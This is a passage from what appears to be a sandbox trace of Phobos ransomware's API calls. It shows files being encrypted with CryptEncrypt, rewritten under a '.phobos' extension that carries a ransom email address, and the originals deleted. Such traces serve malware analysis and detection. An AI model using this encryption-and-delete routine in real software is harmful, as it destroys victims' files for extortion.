(hKey=0x10ce30) returned 1 [0048.004] WriteFile (in: hFile=0x33c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0048.004] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0048.004] CloseHandle (hObject=0x31c) returned 1 [0048.004] CloseHandle (hObject=0x33c) returned 1 [0048.005] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 1 [0048.006] SetEvent (hEvent=0x2e8) returned 1 [0048.006] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0048.006] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0048.006] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=76818) returned 1 [0048.007] CloseHandle (hObject=0x33c) returned 1 [0048.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 0x80 [0048.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.007] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0048.007] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.007] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.007] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.007] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cff0) returned 1 [0048.007] CryptSetKeyParam (hKey=0x10cff0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.007] ReadFile (in: hFile=0x33c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x12c12, lpOverlapped=0x0) returned 1 [0048.009] CryptEncrypt (in: hKey=0x10cff0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x12c20, dwBufLen=0x12c20 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x12c20) returned 1 [0048.009] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x12c20, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x12c20, lpOverlapped=0x0) returned 1 [0048.012] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cf70) returned 1 [0048.012] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.012] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50, dwBufLen=0x50 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50) returned 1 [0048.012] CryptDestroyKey (hKey=0x10cf70) returned 1 [0048.012] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x102, lpOverlapped=0x0) returned 1 [0048.012] CryptDestroyKey (hKey=0x10cff0) returned 1 [0048.012] CloseHandle (hObject=0x33c) returned 1 [0048.012] CloseHandle (hObject=0x31c) returned 1 [0048.014] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 1 [0048.016] SetEvent (hEvent=0x2e8) returned 1 [0048.016] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0048.016] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.016] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=5827) returned 1 [0048.016] CloseHandle (hObject=0x31c) returned 1 [0048.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 0x80 [0048.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.016] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.016] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.016] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.016] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0048.017] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cfb0) returned 1 [0048.017] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.017] ReadFile (in: hFile=0x31c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x16c3, lpOverlapped=0x0) returned 1 [0048.024] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x16d0, dwBufLen=0x16d0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x16d0) returned 1 [0048.024] WriteFile (in: hFile=0x33c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x16d0, lpOverlapped=0x0) returned 1 [0048.025] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cc30) returned 1 [0048.025] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.025] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0048.025] CryptDestroyKey (hKey=0x10cc30) returned 1 [0048.025] WriteFile (in: hFile=0x33c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0048.025] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0048.025] CloseHandle (hObject=0x31c) returned 1 [0048.025] CloseHandle (hObject=0x33c) returned 1 [0048.027] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 1 [0048.028] SetEvent (hEvent=0x2e8) returned 1 [0048.028] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0048.028] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0048.028] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=60684) returned 1 [0048.028] CloseHandle (hObject=0x33c) returned 1 [0048.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 0x80 [0048.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.029] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0048.029] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.029] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.029] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.029] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cdf0) returned 1 [0048.029] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.029] ReadFile (in: hFile=0x33c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xed0c, lpOverlapped=0x0) returned 1 [0048.031] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xed10, dwBufLen=0xed10 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xed10) returned 1 [0048.031] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xed10, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xed10, lpOverlapped=0x0) returned 1 [0048.033] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d070) returned 1 [0048.033] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.033] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50, dwBufLen=0x50 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50) returned 1 [0048.033] CryptDestroyKey (hKey=0x10d070) returned 1 [0048.033] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x102, lpOverlapped=0x0) returned 1 [0048.033] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0048.033] CloseHandle (hObject=0x33c) returned 1 [0048.033] CloseHandle (hObject=0x31c) returned 1 [0048.035] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 1 [0048.044] SetEvent (hEvent=0x2e8) returned 1 [0048.045] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0048.045] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0048.114] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=4015) returned 1 [0048.115] CloseHandle (hObject=0x318) returned 1 [0048.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 0x80 [0048.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.115] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0048.115] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.115] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.115] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.115] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d0f0) returned 1 [0048.116] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.116] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xfaf, lpOverlapped=0x0) returned 1 [0048.117] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xfb0, dwBufLen=0xfb0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xfb0) returned 1 [0048.117] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xfb0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xfb0, lpOverlapped=0x0) returned 1 [0048.118] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d1f0) returned 1 [0048.118] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.118] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0048.118] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0048.118] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0048.118] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0048.118] CloseHandle (hObject=0x318) returned 1 [0048.118] CloseHandle (hObject=0x31c) returned 1 [0048.119] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 1 [0048.120] SetEvent (hEvent=0x2e8) returned 1 [0048.120] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0048.120] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.120] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=6309) returned 1 [0048.121] CloseHandle (hObject=0x31c) returned 1 [0048.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 0x80 [0048.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.121] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.121] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.121] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.121] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0048.121] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ceb0) returned 1 [0048.121] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.121] ReadFile (in: hFile=0x31c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x18a5, lpOverlapped=0x0) returned 1 [0048.123] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x18b0, dwBufLen=0x18b0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x18b0) returned 1 [0048.123] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x18b0, lpOverlapped=0x0) returned 1 [0048.124] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10caf0) returned 1 [0048.124] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.124] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0048.124] CryptDestroyKey (hKey=0x10caf0) returned 1 [0048.124] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0048.124] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0048.124] CloseHandle (hObject=0x31c) returned 1 [0048.124] CloseHandle (hObject=0x318) returned 1 [0048.125] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 1 [0048.126] SetEvent (hEvent=0x2e8) returned 1 [0048.126] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0048.126] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0048.126] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=60816) returned 1 [0048.126] CloseHandle (hObject=0x318) returned 1 [0048.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 0x80 [0048.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.127] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0048.127] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.127] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.127] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.128] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ce30) returned 1 [0048.128] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.128] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xed90, lpOverlapped=0x0) returned 1 [0048.129] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xeda0, dwBufLen=0xeda0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xeda0) returned 1 [0048.129] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 